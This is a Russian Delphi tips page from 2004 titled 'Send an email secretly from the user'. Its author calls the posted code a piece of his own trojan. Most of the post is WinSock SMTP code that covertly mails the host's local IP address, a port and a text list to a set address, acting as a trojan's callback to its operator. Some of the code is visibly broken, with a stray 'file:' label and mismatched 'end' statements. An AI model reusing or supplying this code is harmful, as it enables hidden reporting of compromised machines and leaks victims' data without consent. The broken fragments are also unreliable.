Delphirus - прграммирование на delphi
   Все о delphi Delphirus - прграммирование на delphi
blocks.gif
Навигация
 

Главная
Статьи
Базы данных
Графика
Защита
Интернет
Система
Тексты
Мультимедиа
Файлы
Формы и окна
Другое
Советы
Базы данных
Графика
Интернет
Мультимедиа
Система
Тексты
Файлы
Файлы
Исходники
Компоненты
Инфо
Поиск по сайту
Обратная связь
Самое популярное
Аккаунт
Карта сайта

 
 
 

Советы по delphi \ Интернет и сети \ E-mail \ Отправить Email скрытно от пользователя

Отправить Email скрытно от пользователя

Ну если не устраивает дельфовый SMTP клиент...

Вот вам кусок,написанный на WinSock API пробуйте разобраться... это будет посложнее чем компоненты от NetMasters юзать... (Все это исполнялось в отдельном трейде,не забудьте про WSAStartUp/ClenUp) (каюсь, это кусок из моего трояна :)

function SMTPRecvReply(MailSocket: TSocket): Word;
var
  Buffer: array[1..1024] of Byte;
  Err: Integer;
  BufStr: string;
begin
  BufStr := '';
  Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
  for Err := 1 to 3 do
    BufStr := BufStr + Chr(buffer[Err]);
  try
    Result := StrToInt(BufStr);
  except
    Result := 0;
  end;
end;

function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
  Buffer: array[1..1024] of Byte;
  Err: Integer;
begin
  Result := FALSE;
  ZeroMemory(@Buffer, SizeOf(Buffer));
  if Length(Str) > 1000 then
    Exit;
  for Err := 1 to Length(Str) do
    Buffer[Err] := Ord(Str[Err]);
  Buffer[Err] := 13;
  Buffer[Err + 1] := 10;
  Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
  if Err > 0 then
    Result := TRUE;
end;

function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
  MailSocket: TSocket;
  MailSent: Boolean;
  MTime: TSystemTime;
  SMTPServer: TSockAddrIn;
  Step: Byte;
  OutOfSend: Boolean;
begin
  MailSent := FALSE;
  OutOfSend := FALSE;
  MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
  SMTPServer.sin_family := AF_INET;
  SMTPServer.sin_port := htons(25);
  SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
  Step := 0;
  if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
    repeat
      case SMTPRecvReply(MailSocket) of
        220: SMTPSendString(MailSocket, 'HELO server.com');
        250: case STEP of
            0:
              begin
                SMTPSendString(MailSocket, 'MAIL FROM:' + mail);
                Inc(Step);
              end;
            1:
              begin
                SMTPSendString(MailSocket, 'RCPT TO:' + mail);
                Inc(Step);
              end;
            2:
              begin
                SMTPSendString(MailSocket, 'DATA');
                Inc(Step);
              end;
            3:
              begin
                SMTPSendString(MailSocket, 'QUIT');
                Inc(Step);
              end;
          end;
        354:
          begin
            SMTPSendString(MailSocket, 'From:' + ServerID);
            SMTPSendString(MailSocket, 'To:' + UserName);
            SMTPSendString(MailSocket, 'Subject:' + LocalIPS + ' : ' + port +
              ' At ' + DateTimeToStr(Now));
            SMTPSendString(MailSocket, CRLF);
            for count := 1 to (txt.Count - 1) do
              SMTPSendString(MailSocket, txt[count]);
            SMTPSendString(MailSocket, CRLF + '.' + CRLF);
          end;
        221:
          begin
            OutOfSend := True;
            MailSent := True
          end;
      else
        OutOfSend := True;
        file: //!Case
      end;
    until OutOfSend;
  CloseSocket(MailSocket);
end;
ExitThread(0);
end;

Название: Отправить Email скрытно от пользователя
Дата публикации: 2004-09-02 (3023 Прочтено)

 
 

 

Page generation 0.025 seconds